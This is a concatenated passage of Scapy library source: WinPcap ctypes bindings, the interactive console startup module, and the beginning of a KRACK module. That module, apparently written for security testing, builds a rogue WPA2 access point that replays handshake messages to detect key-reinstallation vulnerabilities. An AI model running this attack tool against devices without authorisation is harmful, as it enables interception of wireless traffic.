[POINTER(pcap_send_queue)] # int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) # Add a packet to a send queue. pcap_sendqueue_queue = _lib.pcap_sendqueue_queue pcap_sendqueue_queue.restype = c_int pcap_sendqueue_queue.argtypes = [ POINTER(pcap_send_queue), POINTER(pcap_pkthdr), POINTER(u_char) ] # u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) # Send a queue of raw packets to the network. pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit pcap_sendqueue_transmit.retype = u_int pcap_sendqueue_transmit.argtypes = [ POINTER(pcap_t), POINTER(pcap_send_queue), c_int] # int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) # Create a list of network devices that can be opened with pcap_open(). pcap_findalldevs_ex = _lib.pcap_findalldevs_ex pcap_findalldevs_ex.retype = c_int pcap_findalldevs_ex.argtypes = [ STRING, POINTER(pcap_rmtauth), POINTER( POINTER(pcap_if_t) ), STRING ] # int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) # Accept a set of strings (host name, port, ...), and it returns the # complete source string according to the new format (e.g. # 'rpcap://1.2.3.4/eth0'). pcap_createsrcstr = _lib.pcap_createsrcstr pcap_createsrcstr.restype = c_int pcap_createsrcstr.argtypes = [ STRING, c_int, STRING, STRING, STRING, STRING ] # int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) # Parse the source string and returns the pieces in which the source can # be split. pcap_parsesrcstr = _lib.pcap_parsesrcstr pcap_parsesrcstr.retype = c_int pcap_parsesrcstr.argtypes = [ STRING, POINTER(c_int), STRING, STRING, STRING, STRING ] # pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) # Open a generic source in order to capture / send (WinPcap only) traffic. pcap_open = _lib.pcap_open pcap_open.restype = POINTER(pcap_t) pcap_open.argtypes = [ STRING, c_int, c_int, c_int, POINTER(pcap_rmtauth), STRING ] # struct pcap_samp * pcap_setsampling (pcap_t *p) # Define a sampling method for packet capture. pcap_setsampling = _lib.pcap_setsampling pcap_setsampling.restype = POINTER(pcap_samp) pcap_setsampling.argtypes = [POINTER(pcap_t)] # SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) # Block until a network connection is accepted (active mode only). pcap_remoteact_accept = _lib.pcap_remoteact_accept pcap_remoteact_accept.restype = SOCKET pcap_remoteact_accept.argtypes = [ STRING, STRING, STRING, STRING, POINTER(pcap_rmtauth), STRING ] # int pcap_remoteact_close (const char *host, char *errbuf) # Drop an active connection (active mode only). pcap_remoteact_close = _lib.pcap_remoteact_close pcap_remoteact_close.restypes = c_int pcap_remoteact_close.argtypes = [STRING, STRING] # void pcap_remoteact_cleanup () # Clean the socket that is currently used in waiting active connections. pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup pcap_remoteact_cleanup.restypes = None pcap_remoteact_cleanup.argtypes = [] # int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) # Return the hostname of the host that have an active connection with us # (active mode only). pcap_remoteact_list = _lib.pcap_remoteact_list pcap_remoteact_list.restype = c_int pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] ================================================ FILE: scapy/main.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Main module for interactive startup. """ import builtins import code import getopt import glob import importlib import io import logging import os import pathlib import shutil import sys import warnings from itertools import zip_longest from random import choice # Never add any global import, in main.py, that would trigger a # warning message before the console handlers gets added in interact() from scapy.error import ( log_interactive, log_loading, Scapy_Exception, ) from scapy.themes import DefaultTheme, BlackAndWhite, apply_ipython_style from scapy.consts import WINDOWS from typing import ( Any, Dict, List, Optional, Union, overload, ) from scapy.compat import ( Literal, ) LAYER_ALIASES = { "tls": "tls.all", "msrpce": "msrpce.all", } QUOTES = [ ("Craft packets like it is your last day on earth.", "Lao-Tze"), ("Craft packets like I craft my beer.", "Jean De Clerck"), ("Craft packets before they craft you.", "Socrate"), ("Craft me if you can.", "IPv6 layer"), ("To craft a packet, you have to be a packet, and learn how to swim in " "the wires and in the waves.", "Jean-Claude Van Damme"), ("We are in France, we say Skappee. OK? Merci.", "Sebastien Chabal"), ("Wanna support scapy? Star us on GitHub!", "Satoshi Nakamoto"), ("I'll be back.", "Python 2"), ] def _probe_xdg_folder(var, default, *cf): # type: (str, str, *str) -> Optional[pathlib.Path] path = pathlib.Path(os.environ.get(var, default)) try: if not path.exists(): # ~ folder doesn't exist. Create according to spec # https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html # "If, when attempting to write a file, the destination directory is # non-existent an attempt should be made to create it with permission 0700." path.mkdir(mode=0o700, exist_ok=True) except Exception: # There is a gazillion ways this can fail. Most notably, a read-only fs or no # permissions to even check for folder to exist (e.x. privileges were dropped # before scapy was started). return None return path.joinpath(*cf).resolve() def _probe_config_folder(*cf): # type: (str) -> Optional[pathlib.Path] return _probe_xdg_folder( "XDG_CONFIG_HOME", os.path.join(os.path.expanduser("~"), ".config"), *cf ) def _probe_cache_folder(*cf): # type: (str) -> Optional[pathlib.Path] return _probe_xdg_folder( "XDG_CACHE_HOME", os.path.join(os.path.expanduser("~"), ".cache"), *cf ) def _probe_share_folder(*cf): # type: (str) -> Optional[pathlib.Path] return _probe_xdg_folder( "XDG_DATA_HOME", os.path.join(os.path.expanduser("~"), ".local", "share"), *cf ) def _check_perms(file: Union[pathlib.Path, str]) -> None: """ Checks that the permissions of a file are properly user-specific, if sudo is used. """ if ( not WINDOWS and "SUDO_UID" in os.environ and "SUDO_GID" in os.environ ): # Was started with sudo. Still, chown to the user. try: os.chown( file, int(os.environ["SUDO_UID"]), int(os.environ["SUDO_GID"]), ) except Exception: pass def _read_config_file(cf, _globals=globals(), _locals=locals(), interactive=True, default=None): # type: (str, Dict[str, Any], Dict[str, Any], bool, Optional[str]) -> None """Read a config file: execute a python file while loading scapy, that may contain some pre-configured values. If _globals or _locals are specified, they will be updated with the loaded vars. This allows an external program to use the function. Otherwise, vars are only available from inside the scapy console. Parameters: :param _globals: the globals() vars :param _locals: the locals() vars :param interactive: specified whether or not errors should be printed using the scapy console or raised. :param default: if provided, set a default value for the config file ex, content of a config.py file: 'conf.verb = 42\n' Manual loading: >>> _read_config_file("./config.py")) >>> conf.verb 2 """ cf_path = pathlib.Path(cf) if not cf_path.exists(): log_loading.debug("Config file [%s] does not exist.", cf) if default is None: return # We have a default ! set it try: if not cf_path.parent.exists(): cf_path.parent.mkdir(parents=True, exist_ok=True) _check_perms(cf_path.parent) with cf_path.open("w") as fd: fd.write(default) _check_perms(cf_path) log_loading.debug("Config file [%s] created with default.", cf) except OSError: log_loading.warning("Config file [%s] could not be created.", cf, exc_info=True) return log_loading.debug("Loading config file [%s]", cf) try: with open(cf) as cfgf: exec( compile(cfgf.read(), cf, 'exec'), _globals, _locals ) except IOError as e: if interactive: raise log_loading.warning("Cannot read config file [%s] [%s]", cf, e) except Exception: if interactive: raise log_loading.exception("Error during evaluation of config file [%s]", cf) def _validate_local(k): # type: (str) -> bool """Returns whether or not a variable should be imported.""" return k[0] != "_" and k not in ["range", "map"] # This is ~/.config/scapy SCAPY_CONFIG_FOLDER = _probe_config_folder("scapy") SCAPY_CACHE_FOLDER = _probe_cache_folder("scapy") if SCAPY_CONFIG_FOLDER: DEFAULT_PRESTART_FILE: Optional[str] = str(SCAPY_CONFIG_FOLDER / "prestart.py") DEFAULT_STARTUP_FILE: Optional[str] = str(SCAPY_CONFIG_FOLDER / "startup.py") else: DEFAULT_PRESTART_FILE = None DEFAULT_STARTUP_FILE = None # https://github.com/scop/bash-completion/blob/main/README.md#faq if "BASH_COMPLETION_USER_DIR" in os.environ: BASH_COMPLETION_USER_DIR: Optional[pathlib.Path] = pathlib.Path( os.environ["BASH_COMPLETION_USER_DIR"] ) else: BASH_COMPLETION_USER_DIR = _probe_share_folder("bash-completion") if BASH_COMPLETION_USER_DIR: BASH_COMPLETION_FOLDER: Optional[pathlib.Path] = ( BASH_COMPLETION_USER_DIR / "completions" ) else: BASH_COMPLETION_FOLDER = None # Default scapy prestart.py config file DEFAULT_PRESTART = """ # Scapy CLI 'pre-start' config file # see https://scapy.readthedocs.io/en/latest/api/scapy.config.html#scapy.config.Conf # for all available options # default interpreter conf.interactive_shell = "auto" # color theme (DefaultTheme, BrightTheme, ColorOnBlackTheme, BlackAndWhite, ...) conf.color_theme = DefaultTheme() # disable INFO: tags related to dependencies missing # log_loading.setLevel(logging.WARNING) # extensions to load by default conf.load_extensions = [ # "scapy-red", # "scapy-rpc", ] # force-use libpcap # conf.use_pcap = True """.strip() def _usage(): # type: () -> None print( "Usage: scapy.py [-c new_startup_file] " "[-p new_prestart_file] [-C] [-P] [-H]\n" "Args:\n" "\t-H: header-less start\n" "\t-C: do not read startup file\n" "\t-P: do not read pre-startup file\n" ) sys.exit(0) def _add_bash_autocompletion(fname: str, script: pathlib.Path) -> None: """ Util function used most notably in setup.py to add a bash autocompletion script. """ try: if BASH_COMPLETION_FOLDER is None: raise OSError() # If already defined, exit. dest = BASH_COMPLETION_FOLDER / fname if dest.exists(): return # Check that bash autocompletion folder exists if not BASH_COMPLETION_FOLDER.exists(): BASH_COMPLETION_FOLDER.mkdir(parents=True, exist_ok=True) _check_perms(BASH_COMPLETION_FOLDER) # Copy file shutil.copy(script, BASH_COMPLETION_FOLDER) except OSError: log_loading.warning("Bash autocompletion script could not be copied.", exc_info=True) ###################### # Extension system # ###################### def _load(module, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Python module to make variables, objects and functions available globally. The idea is to load the module using importlib, then copy the symbols to the global symbol table. """ if globals_dict is None: globals_dict = builtins.__dict__ try: mod = importlib.import_module(module) if '__all__' in mod.__dict__: # import listed symbols for name in mod.__dict__['__all__']: if symb_list is not None: symb_list.append(name) globals_dict[name] = mod.__dict__[name] else: # only import non-private symbols for name, sym in mod.__dict__.items(): if _validate_local(name): if symb_list is not None: symb_list.append(name) globals_dict[name] = sym except Exception: log_interactive.error("Loading module %s", module, exc_info=True) def load_module(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy module to make variables, objects and functions available globally. """ _load("scapy.modules." + name, globals_dict=globals_dict, symb_list=symb_list) def load_layer(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy layer module to make variables, objects and functions available globally. """ _load("scapy.layers." + LAYER_ALIASES.get(name, name), globals_dict=globals_dict, symb_list=symb_list) def load_contrib(name, globals_dict=None, symb_list=None): # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None """Loads a Scapy contrib module to make variables, objects and functions available globally. If no contrib module can be found with the given name, try to find a layer module, since a contrib module may become a layer module. """ try: importlib.import_module("scapy.contrib." + name) _load("scapy.contrib." + name, globals_dict=globals_dict, symb_list=symb_list) except ImportError as e: # if layer not found in contrib, try in layers try: load_layer(name, globals_dict=globals_dict, symb_list=symb_list) except ImportError: raise e # Let's raise the original error to avoid confusion def list_contrib(name=None, # type: Optional[str] ret=False, # type: bool _debug=False # type: bool ): # type: (...) -> Optional[List[Dict[str, str]]] """Show the list of all existing contribs. :param name: filter to search the contribs :param ret: whether the function should return a dict instead of printing it :returns: None or a dictionary containing the results if ret=True """ # _debug: checks that all contrib modules have correctly defined: # # scapy.contrib.description = [...] # # scapy.contrib.status = [...] # # scapy.contrib.name = [...] (optional) # or set the flag: # # scapy.contrib.description = skip # to skip the file if name is None: name = "*.py" elif "*" not in name and "?" not in name and not name.endswith(".py"): name += ".py" results = [] # type: List[Dict[str, str]] dir_path = os.path.join(os.path.dirname(__file__), "contrib") if sys.version_info >= (3, 5): name = os.path.join(dir_path, "**", name) iterator = glob.iglob(name, recursive=True) else: name = os.path.join(dir_path, name) iterator = glob.iglob(name) for f in iterator: mod = f.replace(os.path.sep, ".").partition("contrib.")[2] if mod.startswith("__"): continue if mod.endswith(".py"): mod = mod[:-3] desc = {"description": "", "status": "", "name": mod} with io.open(f, errors="replace") as fd: for line in fd: if line[0] != "#": continue p = line.find("scapy.contrib.") if p >= 0: p += 14 q = line.find("=", p) key = line[p:q].strip() value = line[q + 1:].strip() desc[key] = value if desc["status"] == "skip": break if desc["description"] and desc["status"]: results.append(desc) break if _debug: if desc["status"] == "skip": pass elif not desc["description"] or not desc["status"]: raise Scapy_Exception("Module %s is missing its " "contrib infos !" % mod) results.sort(key=lambda x: x["name"]) if ret: return results else: for desc in results: print("%(name)-20s: %(description)-40s status=%(status)s" % desc) return None ############################## # Session saving/restoring # ############################## def update_ipython_session(session): # type: (Dict[str, Any]) -> None """Updates IPython session with a custom one""" if "_oh" not in session: session["_oh"] = session["Out"] = {} session["In"] = {} try: from IPython import get_ipython get_ipython().user_ns.update(session) except Exception: pass def _scapy_prestart_builtins(): # type: () -> Dict[str, Any] """Load Scapy prestart and return all builtins""" return { k: v for k, v in importlib.import_module(".config", "scapy").__dict__.copy().items() if _validate_local(k) } def _scapy_builtins(): # type: () -> Dict[str, Any] """Load Scapy and return all builtins""" return { k: v for k, v in importlib.import_module(".all", "scapy").__dict__.copy().items() if _validate_local(k) } def _scapy_exts(): # type: () -> Dict[str, Any] """Load Scapy exts and return their builtins""" from scapy.config import conf res = {} for modname, spec in conf.exts.all_specs.items(): if spec.default: mod = sys.modules[modname] res.update({ k: v for k, v in mod.__dict__.copy().items() if _validate_local(k) }) return res @overload def init_session(mydict, # type: Optional[Union[Dict[str, Any], None]] ret, # type: Literal[True] ): # type: (...) -> Dict[str, Any] pass @overload def init_session(mydict=None, # type: Optional[Union[Dict[str, Any], None]] ret=False, # type: Literal[False] ): # type: (...) -> None pass def init_session(mydict=None, # type: Optional[Union[Dict[str, Any], None]] ret=False, # type: bool ): # type: (...) -> Union[Dict[str, Any], None] from scapy.config import conf # Load Scapy scapy_builtins = _scapy_builtins() # Load exts scapy_builtins.update(_scapy_exts()) SESSION = {"conf": conf} # type: Dict[str, Any] SESSION.update(scapy_builtins) SESSION["_scpybuiltins"] = scapy_builtins.keys() builtins.__dict__["scapy_session"] = SESSION if mydict is not None: builtins.__dict__["scapy_session"].update(mydict) update_ipython_session(mydict) if ret: return SESSION return None ################ # Main # ################ def _prepare_quote(quote, author, max_len=78): # type: (str, str, int) -> List[str] """This function processes a quote and returns a string that is ready to be used in the fancy banner. """ _quote = quote.split(' ') max_len -= 6 lines = [] cur_line = [] # type: List[str] def _len(line): # type: (List[str]) -> int return sum(len(elt) for elt in line) + len(line) - 1 while _quote: if not cur_line or (_len(cur_line) + len(_quote[0]) - 1 <= max_len): cur_line.append(_quote.pop(0)) continue lines.append(' | %s' % ' '.join(cur_line)) cur_line = [] if cur_line: lines.append(' | %s' % ' '.join(cur_line)) cur_line = [] lines.append(' | %s-- %s' % (" " * (max_len - len(author) - 5), author)) return lines def get_fancy_banner(mini: Optional[bool] = None) -> str: """ Generates the fancy Scapy banner :param mini: if set, force a mini banner or not. Otherwise detect """ from scapy.config import conf from scapy.utils import get_terminal_width if mini is None: mini_banner = (get_terminal_width() or 84) <= 75 else: mini_banner = mini the_logo = [ " ", " aSPY//YASa ", " apyyyyCY//////////YCa ", " sY//////YSpcs scpCY//Pp ", " ayp ayyyyyyySCP//Pp syY//C ", " AYAsAYYYYYYYY///Ps cY//S", " pCCCCY//p cSSps y//Y", " SPPPP///a pP///AC//Y", " A//A cyP////C", " p///Ac sC///a", " P////YCpc A//A", " scccccp///pSP///p p//Y", " sY/////////y caa S//P", " cayCyayP//Ya pY/Ya", " sY/PsY////YCc aC//Yp ", " sc sccaCY//PCypaapyCP//YSs ", " spCPY//////YPSps ", " ccaacs ", " ", ] # Used on mini screens the_logo_mini = [ " .SYPACCCSASYY ", "P /SCS/CCS ACS", " /A AC", " A/PS /SPPS", " YP (SC", " SPS/A. SC", " Y/PACC PP", " PY*AYC CAA", " YYCY//SCYP ", ] the_banner = [ "", "", " |", " | Welcome to Scapy", " | Version %s" % conf.version, " |", " | https://github.com/secdev/scapy", " |", " | Have fun!", " |", ] if mini_banner: the_logo = the_logo_mini the_banner = [x[2:] for x in the_banner[3:-1]] the_banner = [""] + the_banner + [""] else: quote, author = choice(QUOTES) the_banner.extend(_prepare_quote(quote, author, max_len=39)) the_banner.append(" |") return "\n".join( logo + banner for logo, banner in zip_longest( (conf.color_theme.logo(line) for line in the_logo), (conf.color_theme.success(line) for line in the_banner), fillvalue="" ) ) def interact(mydict=None, argv=None, mybanner=None, mybanneronly=False, loglevel=logging.INFO): # type: (Optional[Any], Optional[Any], Optional[Any], bool, int) -> None """ Starts Scapy's console. """ # We're in interactive mode, let's throw the DeprecationWarnings warnings.simplefilter("always") # Set interactive mode, load the color scheme from scapy.config import conf conf.interactive = True conf.color_theme = DefaultTheme() if loglevel is not None: conf.logLevel = loglevel STARTUP_FILE = DEFAULT_STARTUP_FILE PRESTART_FILE = DEFAULT_PRESTART_FILE if argv is None: argv = sys.argv try: opts = getopt.getopt(argv[1:], "hs:Cc:Pp:d:H") for opt, param in opts[0]: if opt == "-h": _usage() elif opt == "-H": conf.fancy_banner = False conf.verb = 1 conf.logLevel = logging.WARNING elif opt == "-c": STARTUP_FILE = param elif opt == "-C": STARTUP_FILE = None elif opt == "-p": PRESTART_FILE = param elif opt == "-P": PRESTART_FILE = None elif opt == "-d": conf.logLevel = max(1, conf.logLevel - 10) if len(opts[1]) > 0: raise getopt.GetoptError( "Too many parameters : [%s]" % " ".join(opts[1]) ) except getopt.GetoptError as msg: log_loading.error(msg) sys.exit(1) # Reset sys.argv, otherwise IPython thinks it is for him sys.argv = sys.argv[:1] if PRESTART_FILE: _read_config_file( PRESTART_FILE, interactive=True, _locals=_scapy_prestart_builtins(), default=DEFAULT_PRESTART, ) SESSION = init_session(mydict=mydict, ret=True) if STARTUP_FILE: _read_config_file( STARTUP_FILE, interactive=True, _locals=SESSION ) # Load extensions (Python 3.8 Only) if sys.version_info >= (3, 8): conf.exts.loadall() if conf.fancy_banner: banner_text = get_fancy_banner() else: banner_text = "Welcome to Scapy (%s)" % conf.version # Make sure the history file has proper permissions try: if not pathlib.Path(conf.histfile).exists(): pathlib.Path(conf.histfile).touch() _check_perms(conf.histfile) except OSError: pass # Configure interactive terminal if conf.interactive_shell not in [ "ipython", "python", "ptpython", "ptipython", "bpython", "auto"]: log_loading.warning("Unknown conf.interactive_shell ! Using 'auto'") conf.interactive_shell = "auto" # Auto detect available shells. # Order: # 1. IPython # 2. bpython # 3. ptpython _IMPORTS = { "ipython": ["IPython"], "bpython": ["bpython"], "ptpython": ["ptpython"], "ptipython": ["IPython", "ptpython"], } if conf.interactive_shell == "auto": # Auto detect for imp in ["IPython", "bpython", "ptpython"]: try: importlib.import_module(imp) conf.interactive_shell = imp.lower() break except ImportError: continue else: log_loading.warning( "No alternative Python interpreters found ! " "Using standard Python shell instead." ) conf.interactive_shell = "python" if conf.interactive_shell in _IMPORTS: # Check import for imp in _IMPORTS[conf.interactive_shell]: try: importlib.import_module(imp) except ImportError: log_loading.warning("%s requested but not found !" % imp) conf.interactive_shell = "python" # Default shell if conf.interactive_shell == "python": disabled = ["History"] if WINDOWS: disabled.append("Colors") conf.color_theme = BlackAndWhite() else: try: # Bad completer.. but better than nothing import rlcompleter import readline readline.set_completer( rlcompleter.Completer(namespace=SESSION).complete ) readline.parse_and_bind('tab: complete') except ImportError: disabled.insert(0, "AutoCompletion") # Display warning when using the default REPL log_loading.info( "Using the default Python shell: %s %s disabled." % ( ",".join(disabled), "is" if len(disabled) == 1 else "are" ) ) # ptpython configure function def ptpython_configure(repl): # type: (Any) -> None # Hide status bar repl.show_status_bar = False # Complete while typing (versus only when pressing tab) repl.complete_while_typing = False # Enable auto-suggestions repl.enable_auto_suggest = True # Disable exit confirmation repl.confirm_exit = False # Show signature repl.show_signature = True # Apply Scapy color theme: TODO # repl.install_ui_colorscheme("scapy", # Style.from_dict(_custom_ui_colorscheme)) # repl.use_ui_colorscheme("scapy") # Extend banner text if conf.interactive_shell in ["ipython", "ptipython"]: import IPython if conf.interactive_shell == "ptipython": banner = banner_text + " using IPython %s" % IPython.__version__ try: from importlib.metadata import version ptpython_version = " " + version('ptpython') except ImportError: ptpython_version = "" banner += " and ptpython%s" % ptpython_version else: banner = banner_text + " using IPython %s" % IPython.__version__ elif conf.interactive_shell == "ptpython": try: from importlib.metadata import version ptpython_version = " " + version('ptpython') except ImportError: ptpython_version = "" banner = banner_text + " using ptpython%s" % ptpython_version elif conf.interactive_shell == "bpython": import bpython banner = banner_text + " using bpython %s" % bpython.__version__ if mybanner is not None: if mybanneronly: banner = "" banner += "\n" banner += mybanner # Start IPython or ptipython if conf.interactive_shell in ["ipython", "ptipython"]: banner += "\n" if conf.interactive_shell == "ptipython": from ptpython.ipython import embed else: from IPython import embed try: from traitlets.config.loader import Config except ImportError: log_loading.warning( "traitlets not available. Some Scapy shell features won't be " "available." ) try: embed( display_banner=False, user_ns=SESSION, exec_lines=["print(\"\"\"" + banner + "\"\"\")"] ) except Exception: code.interact(banner=banner_text, local=SESSION) else: cfg = Config() try: from IPython import get_ipython if not get_ipython(): raise ImportError except ImportError: # Set "classic" prompt style when launched from # run_scapy(.bat) files Register and apply scapy # color+prompt style apply_ipython_style(shell=cfg.InteractiveShellEmbed) cfg.InteractiveShellEmbed.confirm_exit = False cfg.InteractiveShellEmbed.separate_in = u'' if int(IPython.__version__[0]) >= 6: cfg.InteractiveShellEmbed.term_title = True cfg.InteractiveShellEmbed.term_title_format = ("Scapy %s" % conf.version) # As of IPython 6-7, the jedi completion module is a dumpster # of fire that should be scrapped never to be seen again. # This is why the following defaults to False. Feel free to hurt # yourself (#GH4056) :P cfg.Completer.use_jedi = conf.ipython_use_jedi else: cfg.InteractiveShellEmbed.term_title = False cfg.HistoryAccessor.hist_file = conf.histfile cfg.InteractiveShell.banner1 = banner if conf.verb < 2: cfg.InteractiveShellEmbed.enable_tip = False # configuration can thus be specified here. _kwargs = {} if conf.interactive_shell == "ptipython": _kwargs["configure"] = ptpython_configure try: embed(config=cfg, user_ns=SESSION, **_kwargs) except (AttributeError, TypeError): code.interact(banner=banner_text, local=SESSION) # Start ptpython elif conf.interactive_shell == "ptpython": # ptpython has special, non-default handling of __repr__ which breaks Scapy. # For instance: >>> IP() log_loading.warning("ptpython support is currently partially broken") from ptpython.repl import embed # ptpython has no banner option banner += "\n" print(banner) embed( locals=SESSION, history_filename=conf.histfile, title="Scapy %s" % conf.version, configure=ptpython_configure ) # Start bpython elif conf.interactive_shell == "bpython": from bpython.curtsies import main as embed embed( args=["-q", "-i"], locals_=SESSION, banner=banner, welcome_message="" ) # Start Python elif conf.interactive_shell == "python": code.interact(banner=banner_text, local=SESSION) else: raise ValueError("Invalid conf.interactive_shell") if __name__ == "__main__": interact() ================================================ FILE: scapy/modules/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Package of extension modules that have to be loaded explicitly. """ # Make sure config is loaded import scapy.config # noqa: F401 ================================================ FILE: scapy/modules/krack/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """Module implementing Krack Attack on client, as a custom WPA Access Point Requires the python cryptography package v1.7+. See https://cryptography.io/ More details on the attack can be found on https://www.krackattacks.com/ Example of use (from the scapy shell): >>> load_module("krack") >>> KrackAP( iface="mon0", # A monitor interface ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use ssid="TEST_KRACK", # SSID passphrase="testtest", # Associated passphrase ).run() Then, on the target device, connect to "TEST_KRACK" using "testtest" as the passphrase. The output logs will indicate if one of the vulnerability have been triggered. Outputs for vulnerable devices: - IV reuse!! Client seems to be vulnerable to handshake 3/4 replay (CVE-2017-13077) - Broadcast packet accepted twice!! (CVE-2017-13080) - Client has installed an all zero encryption key (TK)!! For patched devices: - Client is likely not vulnerable to CVE-2017-13080 """ from scapy.config import conf if conf.crypto_valid: from scapy.modules.krack.automaton import KrackAP # noqa: F401 else: raise ImportError("Cannot import Krack module due to missing dependency. " "Please install python{3}-cryptography v1.7+.") ================================================ FILE: scapy/modules/krack/automaton.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information import hmac import hashlib from itertools import count import struct import time from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.backends import default_backend from scapy.automaton import ATMT, Automaton from scapy.base_classes import Net from scapy.config import conf from scapy.compat import raw, chb from scapy.consts import LINUX from scapy.error import log_runtime from scapy.layers.dot11 import ( AKMSuite, Dot11, Dot11AssoReq, Dot11AssoResp, Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltDSSSet, Dot11EltRSN, Dot11EltRates, Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, RadioTap, ) from scapy.layers.eap import EAPOL from scapy.layers.l2 import ARP, LLC, SNAP, Ether from scapy.layers.dhcp import DHCP_am from scapy.packet import Raw from scapy.utils import hexdump, mac2str from scapy.volatile import RandBin from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ customPRF512, ARC4_encrypt class DHCPOverWPA(DHCP_am): """Wrapper over DHCP_am to send and recv inside a WPA channel""" def __init__(self, send_func, *args, **kwargs): super(DHCPOverWPA, self).__init__(*args, **kwargs) self.send_function = send_func def sniff(self, *args, **kwargs): # Do not sniff, use a direct call to 'replay(pkt)' instead return class KrackAP(Automaton): """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" Example of use: KrackAP( iface="mon0", # A monitor interface ap_mac='11:22:33:44:55:66', # MAC to use ssid="TEST_KRACK", # SSID passphrase="testtest", # Associated passphrase ).run() Then, on the target device, connect to "TEST_KRACK" using "testtest" as the passphrase. The output logs will indicate if one of the CVE have been triggered. """ # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501 # be detected the first time. Several attempt implies the client has been # likely patched ARP_MAX_RETRY = 50 def __init__(self, *args, **kargs): kargs.setdefault("ll", conf.L2socket) if not LINUX: kargs.setdefault("monitor", True) super(KrackAP, self).__init__(*args, **kargs) def parse_args(self, ap_mac, ssid, passphrase, channel=None, # KRACK attack options double_3handshake=True, encrypt_3handshake=True, wait_3handshake=0, double_gtk_refresh=True, arp_target_ip=None, arp_source_ip=None, wait_gtk=10, **kwargs): """ Mandatory arguments: :param iface: interface to use (must be in monitor mode) :param ap_mac: AP's MAC :param ssid: AP's SSID :param passphrase: AP's Passphrase (min 8 char.) Optional arguments: :param channel: used by the interface. Default 6 Krack attacks options: - Msg 3/4 handshake replay: :param double_3handshake: double the 3/4 handshake message :param encrypt_3handshake: encrypt the second 3/4 handshake message :param wait_3handshake: time to wait (in sec.) before sending the second 3/4 - double GTK rekeying: :param double_gtk_refresh: double the 1/2 GTK rekeying message :param wait_gtk: time to wait (in sec.) before sending the GTK rekeying :param arp_target_ip: Client IP to use in ARP req. (to detect attack success). If None, use a DHCP server :param arp_source_ip: Server IP to use in ARP req. (to detect attack success). If None, use the DHCP server gateway address """ super(KrackAP, self).parse_args(**kwargs) # Main AP options self.mac = ap_mac self.ssid = ssid self.passphrase = passphrase if channel is None: channel = 6 self.channel = channel # Internal structures self.last_iv = None self.client = None self.seq_num = count() self.replay_counter = count() self.time_handshake_end = None self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, pool=Net("192.168.42.128/25"), network="192.168.42.0/24", gw="192.168.42.1") self.arp_sent = [] self.arp_to_send = 0 self.arp_retry = 0 # Bit 0: 3way handshake sent # Bit 1: GTK rekeying sent # Bit 2: ARP response obtained self.krack_state = 0 # Krack options self.double_3handshake = double_3handshake self.encrypt_3handshake = encrypt_3handshake self.wait_3handshake = wait_3handshake self.double_gtk_refresh = double_gtk_refresh self.arp_target_ip = arp_target_ip if arp_source_ip is None: # Use the DHCP server Gateway address arp_source_ip = self.dhcp_server.gw self.arp_source_ip = arp_source_ip self.wait_gtk = wait_gtk # May take several seconds self.install_PMK() def run(self, *args, **kwargs): log_runtime.warning("AP started with ESSID: %s, BSSID: %s", self.ssid, self.mac) super(KrackAP, self).run(*args, **kwargs) # Key utils @staticmethod def gen_nonce(size): """Return a nonce of @size element of random bytes as a string""" return raw(RandBin(size)) def install_PMK(self): """Compute and install the PMK""" self.pmk = PBKDF2HMAC( algorithm=hashes.SHA1(), length=32, salt=self.ssid.encode(), iterations=4096, backend=default_backend(), ).derive(self.passphrase.encode()) def install_unicast_keys(self, client_nonce): """Use the client nonce @client_nonce to compute and install PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) """ pmk = self.pmk anonce = self.anonce snonce = client_nonce amac = mac2str(self.mac) smac = mac2str(self.client) # Compute PTK self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) # Extract derivated keys self.kck = self.ptk[:16] self.kek = self.ptk[16:32] self.tk = self.ptk[32:48] self.mic_ap_to_sta = self.ptk[48:56] self.mic_sta_to_ap = self.ptk[56:64] # Reset IV self.client_iv = count() def install_GTK(self): """Compute a new GTK and install it alongs MIC (AP -> Group = broadcast + multicast) """ # Compute GTK self.gtk_full = self.gen_nonce(32) self.gtk = self.gtk_full[:16] # Extract derivated keys 